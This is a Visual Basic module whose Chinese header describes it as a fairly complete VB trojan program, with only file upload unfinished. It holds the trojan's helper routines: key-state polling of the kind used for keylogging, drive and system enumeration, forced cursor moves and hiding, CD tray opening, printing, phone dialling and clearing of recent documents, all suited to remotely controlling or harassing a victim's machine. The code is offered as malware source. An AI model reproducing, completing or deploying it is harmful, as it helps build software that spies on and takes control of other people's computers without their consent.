mainmod.bas

一个较为完整的VB木马程序。只是文件上传功能还不太完善。

Public Function GetCtrl() As Boolean
    GetCtrl = CBool(GetAsyncKeyState(vbKeyControl))
End Function

Public Function GetShift() As Boolean
    GetShift = CBool(GetAsyncKeyState(vbKeyShift)) 'Return or set the Capslock toggle.
End Function

Function Ctrl(Control, Char1, Char2)
'This function is similar to below but it
'checks if control key is pressed
    If GetCtrl = True Then
        Control = 1
        Ctrl = Char1
    Else
        Control = 0
        Ctrl = Char2
    End If
End Function
Function Shf(Shift, Char1, Char2)
'This function is exactly like the IIf function
'except without the Shift statement being present
'this relies on when you press the shift key and
'another key pressed at the same time
    If GetShift = True Then
        Shift = 1 'If shift is present
        Shf = Char1 'then the first character is displayed
    Else
        Shift = 0 'if shift isn't present
        Shf = Char2 'then the second character is displayed
    End If
End Function

Public Function GetSystemParameters(Info, Newsetting)
    Dim es
    es = SystemParametersInfo(Info, Newsetting, GetSystemParameters, 0)
End Function

Public Function KeyboardInfo()
    Dim X
    X = GetKeyboardType(0)
    If X = 1 Then
        KeyboardInfo = "PC or compatible 83-key keyboard"
    ElseIf X = 2 Then
        KeyboardInfo = "Olivetti 102-key keyboard"
    ElseIf X = 3 Then
        KeyboardInfo = "AT or compatible 84-key keyboard"
    ElseIf X = 4 Then
        KeyboardInfo = "Enhanced 101- or 102-key keyboard"
    ElseIf X = 5 Then
        KeyboardInfo = "Nokia 1050 keyboard"
    ElseIf X = 6 Then
        KeyboardInfo = "Nokia 9140 keyboard"
    ElseIf X = 7 Then
        KeyboardInfo = "Japanese keyboard"
    End If
End Function

Public Function GetCaretBlink()
    GetCaretBlink = GetCaretBlinkTime
End Function

Public Function SetCaretBlink(MSec)
    SetCaretBlinkTime MSec
End Function

Public Function GetDoubleClick()
    GetDoubleClick = GetDoubleClickTime
End Function

Public Function SetDoubleClick(MSec)
    SetDoubleClickTime MSec
End Function

Public Function GetSysInfo()
    GetSystemInfo System
End Function

Public Function ShowProperties(FileName As String, OwnerhWnd As Long)
    Dim SEI As SHELLEXECUTEINFO
    Dim r As Long
    With SEI
        .cbSize = Len(SEI)
        .fMask = SEE_MASK_NOCLOSEPROCESS Or SEE_MASK_INVOKEIDLIST Or SEE_MASK_FLAG_NO_UI
        .hWnd = OwnerhWnd
        .lpVerb = "properties"
        .lpFile = FileName
        .lpParameters = vbNullChar
        .lpDirectory = vbNullChar
        .nShow = 0
        .hInstApp = 0
        .lpIDList = 0
    End With
    r = ShellExecuteEX(SEI)
End Function

Public Function ClearDocuments()
    Call SHAddToRecentDocs(2, vbNullString)
End Function

Public Function AddToDocuments(FileName As String)
    Call SHAddToRecentDocs(2, FileName)
End Function

Public Function PhoneCall(Number As String, Name As String)
    Dim lRetVal As Long
    lRetVal = tapiRequestMakeCall(Trim$(Number), App.Title, Trim$(Name), "")
    If lRetVal <> 0 Then
    End If
End Function

'Public Function IsCapsLockOn()
'    GetKeyboardState kbArray
'    IsCapsLockOn = kbArray.kbByte(VK_CAPITAL)
'End Function

'Public Function IsNumLockOn()
'    GetKeyboardState kbArray
'    IsNumLockOn = kbArray.kbByte(VK_NUMLOCK)
'End Function

Public Function StayOnTop(TheForm As Form)
    SetWinOnTop = SetWindowPos(TheForm.hWnd, HWND_TOPMOST, 0, 0, 0, 0, flags)
End Function

'Public Function StartScreensaver(FormN As Form)
'    Dim result As Long
'    result = SendMessage(FormN.hwnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0&)
'End Function

Public Function MilliToHMS(Milliseconds)
    Dim Sec, Min0, Min, Hr
    Hr = Fix(Milliseconds / 3600000)
    Min0 = Fix(Milliseconds Mod 3600000)
    Min = Fix(Min0 / 60000)
    Sec = Fix(Min0 Mod 60000)
    Sec = Fix(Sec / 1000)
    If Len(Sec) = 1 Then
        Sec = "0" & Sec
    End If
    If Len(Min) = 1 Then
        Min = "0" & Min
    End If
    If Len(Hr) = 1 Then
        Hr = "0" & Hr
    End If
    MilliToHMS = Hr & ":" & Min & ":" & Sec
End Function

Public Function GetTimeOnWindows()
    GetTimeOnWindows = MilliToHMS(GetTickCount&)
End Function

Public Function Cursor(Enabled As Boolean)
    Dim Retcode
    For i = 1 To 50000
        Retcode = ShowCursor(Enabled)
    Next i
End Function

Public Function IsThereASoundCard()
    Dim i As Integer
    i = auxGetNumDevs()
    If i > 0 Then
        IsThereASoundCard = 1
    Else
        IsThereASoundCard = 0
    End If
End Function

Public Function DriveBytesFree(DriveLetter As Integer)
    XDriveInfo
    DriveBytesFree = (vararyDriveInfo(DriveLetter, 9))
End Function

Public Function DriveTotalBytes(DriveLetter As Integer)
    XDriveInfo
    DriveTotalBytes = (vararyDriveInfo(DriveLetter, 8))
End Function

Public Function DrivePercentFree(DriveLetter As Integer)
    XDriveInfo
    On Error Resume Next
    DrivePercentFree = (DriveBytesFree(DriveLetter) / DriveTotalBytes(DriveLetter)) * 100
End Function

Public Function DriveOtherInfo(DriveLetter As Integer, InfoCode)
    XDriveInfo
    DriveOtherInfo = (vararyDriveInfo(DriveLetter, InfoCode))
End Function

Public Function XDriveInfo()
    '1  = Is there a drive for this letter
    '2  = Drive Letter
    '3  = Drive Type  2: Floppy, 3: Disk Fixed 4: Disk Remote
    '4  = Sectors
    '5  = Bytes / Sector
    '6  = Number of free sectors
    '7  = Total Clusters
    '8  = Total Bytes
    '9  = Free Bytes
    '10 = Percent of Free Bytes
    '11 = Vol Name
    Dim ournum As Long, rv As Long, DriveType As Long, c  As Long, d As Long
    Dim E As Long, F As Long, H As Long, Counter As Integer, CompareTo
    Dim tmpDrvLet As String
    Dim SectorsPerCluster&, BytesPerSector&, NumberOfFreeClustors&, TotalNumberOfClustors&
    Dim BytesFreeas, BytesTotal, FreeBytes, TotalBytes As Variant
    Dim dl&, lpVolumeSerialNumber&, lpMaximumComponentLength&, lpFileSystemFlags&
    Dim lpVolumeNameBuffer As String, rcDim As String, B As String
    Dim G As String, s$, sz&
    rv = GetLogicalDrives&()
    If rv = 0 Then
        Stop
        Exit Function
    End If
    B = String$(255, 0)
    c = 200
    G = String$(255, 0)
    H = 100
    For Counter = 1 To 26
        CompareTo = (2 ^ (Counter - 1))
        If (rv And CompareTo) <> 0 Then
            vararyDriveInfo(Counter, 1) = True
            tmpDrvLet = Chr(Counter + 64)
            vararyDriveInfo(Counter, 2) = tmpDrvLet
            tmpDrvLet = tmpDrvLet & ":\"
            DriveType = GetDriveType&(tmpDrvLet)
            vararyDriveInfo(Counter, 3) = DriveType
            If DriveType = 3 Or DriveType = 4 Then
                rc = GetVolumeInformation(A, B, c, d, E, F, G, H)
                vararyDriveInfo(Counter, 11) = B
                dl& = GetDiskFreeSpace(tmpDrvLet, SectorsPerCluster, BytesPerSector, NumberOfFreeClustors, TotalNumberOfClustors)
                vararyDriveInfo(Counter, 4) = Format(SectorsPerCluster, "#,0")
                vararyDriveInfo(Counter, 5) = Format(BytesPerSector, "#,0")
                vararyDriveInfo(Counter, 6) = Format(NumberOfFreeClustors, "#,0")
                vararyDriveInfo(Counter, 7) = Format(TotalNumberOfClustors, "#,0")
                TotalBytes = (TotalNumberOfClustors / 100) * (SectorsPerCluster / 100) * (BytesPerSector / 100)
                vararyDriveInfo(Counter, 8) = Format(TotalBytes, "#,0")
                FreeBytes = (NumberOfFreeClustors / 100) * (SectorsPerCluster / 100) * (BytesPerSector / 100)
                vararyDriveInfo(Counter, 9) = Format(FreeBytes, "#,0")
                vararyDriveInfo(Counter, 10) = Format(FreeBytes / TotalBytes, "Percent")
            End If
        Else      ' *** no drive? then set to false
            vararyDriveInfo(Counter, 1) = False
        End If
    Next Counter
End Function

Public Function PrintText(Texty As String)
    Dim lPrinter As Long
    Dim lRet As Long
    Dim lDoc As Long
    Dim udtDocInfo As DOCINFO
    Dim lWritten As Long
    
    lRet = OpenPrinter(Printer.DeviceName, lPrinter, 0)
    If lRet = 0 Then
        Exit Function
    End If
    
    udtDocInfo.pDocName = "-"
    udtDocInfo.pOutputFile = vbNullString
    udtDocInfo.pDatatype = vbNullString
    lDoc = StartDocPrinter(lPrinter, 1, udtDocInfo)
    Call StartPagePrinter(lPrinter)
    lRet = WritePrinter(lPrinter, ByVal Texty, Len(Texty), lWritten)
    lRet = EndPagePrinter(lPrinter)
    lRet = EndDocPrinter(lPrinter)
    lRet = ClosePrinter(lPrinter)
End Function

Public Function SetCursorP(X, Y)
    SetCursorPos X, Y
End Function

Public Function GetCursorX()
    Dim dl&
    dl& = GetCursorPos(pt)
    GetCursorX = pt.X
End Function

Public Function GetCursorY()
    Dim dl&
    dl& = GetCursorPos(pt)
    GetCursorY = pt.Y
End Function

Public Function OpenCDROM()
    SendMCIString "set cd door open", True
End Function

Public Function CloseCDROM()
    SendMCIString "set cd door closed", True
End Function

' Return True if the Ctrl key is pressed.
Function CtrlKey() As Boolean
    CtrlKey = (GetAsyncKeyState(vbKeyControl) And &H8000)
End Function
' Return True if the Shift key is pressed.